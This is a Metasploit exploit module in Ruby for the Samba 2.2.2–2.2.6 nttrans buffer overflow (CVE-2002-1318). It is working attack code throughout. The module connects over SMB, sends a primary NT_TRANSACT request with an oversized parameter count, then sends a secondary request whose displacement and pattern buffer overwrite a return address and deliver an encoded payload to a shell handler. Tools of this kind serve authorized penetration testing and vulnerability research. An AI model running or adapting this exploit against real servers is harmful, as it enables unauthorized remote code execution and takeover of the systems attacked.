##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow',
      'Description'    => %q{
          This module attempts to exploit a buffer overflow vulnerability present in
        versions 2.2.2 through 2.2.6 of Samba.

        The Samba developers report this as:
        "Bug in the length checking for encrypted password change requests from clients."

        The bug was discovered and reported by the Debian Samba Maintainers.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2002-1318' ],
          [ 'OSVDB', '14525' ],
          [ 'BID', '6210' ],
          [ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ]
        ],
      'Privileged'     => true,
      'Platform'       => 'linux',
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'MinNops'  => 512,
        },
      'Targets'        =>
        [
          [ "Samba 2.2.x Linux x86",
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
              'Rets' => [0x01020304, 0x41424344],
            },
          ],
        ],
      'DisclosureDate' => 'Apr 7 2003'
      ))

    register_options(
      [
        Opt::RPORT(139)
      ])
  end

  def exploit

    # 0x081fc968

    pattern = Rex::Text.pattern_create(12000)

    pattern[532, 4] = [0x81b847c].pack('V')
    pattern[836, payload.encoded.length] = payload.encoded

    # 0x081b8138

    connect
    smb_login

    targ_address = 0xfffbb7d0

    #
    # Send a NTTrans request with ParameterCountTotal set to the buffer length
    #

    subcommand   = 1
    param        = ''
    body         = ''
    setup_count  = 0
    setup_data   = ''
    data = param + body

    pkt = CONST::SMB_NTTRANS_PKT.make_struct
    self.simple.client.smb_defaults(pkt['Payload']['SMB'])

    base_offset = pkt.to_s.length + (setup_count * 2) - 4
    param_offset = base_offset
    data_offset = param_offset + param.length

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0x2001
    pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count

    pkt['Payload'].v['ParamCountTotal'] =12000
    pkt['Payload'].v['DataCountTotal'] = body.length
    pkt['Payload'].v['ParamCountMax'] = 1024
    pkt['Payload'].v['DataCountMax'] = 65504
    pkt['Payload'].v['ParamCount'] = param.length
    pkt['Payload'].v['ParamOffset'] = param_offset
    pkt['Payload'].v['DataCount'] = body.length
    pkt['Payload'].v['DataOffset'] = data_offset
    pkt['Payload'].v['SetupCount'] = setup_count
    pkt['Payload'].v['SetupData'] = setup_data
    pkt['Payload'].v['Subcommand'] = subcommand

    pkt['Payload'].v['Payload'] = data

    self.simple.client.smb_send(pkt.to_s)
    ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT)

    #
    # Send a NTTrans secondary request with the magic displacement
    #

    param = pattern
    body  = ''
    data  = param + body

    pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
    self.simple.client.smb_defaults(pkt['Payload']['SMB'])

    base_offset = pkt.to_s.length - 4
    param_offset = base_offset
    data_offset = param_offset + param.length

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0x2001
    pkt['Payload']['SMB'].v['WordCount'] = 18

    pkt['Payload'].v['ParamCountTotal'] = param.length
    pkt['Payload'].v['DataCountTotal'] = body.length
    pkt['Payload'].v['ParamCount'] = param.length
    pkt['Payload'].v['ParamOffset'] = param_offset
    pkt['Payload'].v['ParamDisplace'] = targ_address
    pkt['Payload'].v['DataCount'] = body.length
    pkt['Payload'].v['DataOffset'] = data_offset

    pkt['Payload'].v['Payload'] = data

    self.simple.client.smb_send(pkt.to_s)
    ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY)


    handler

  end
end
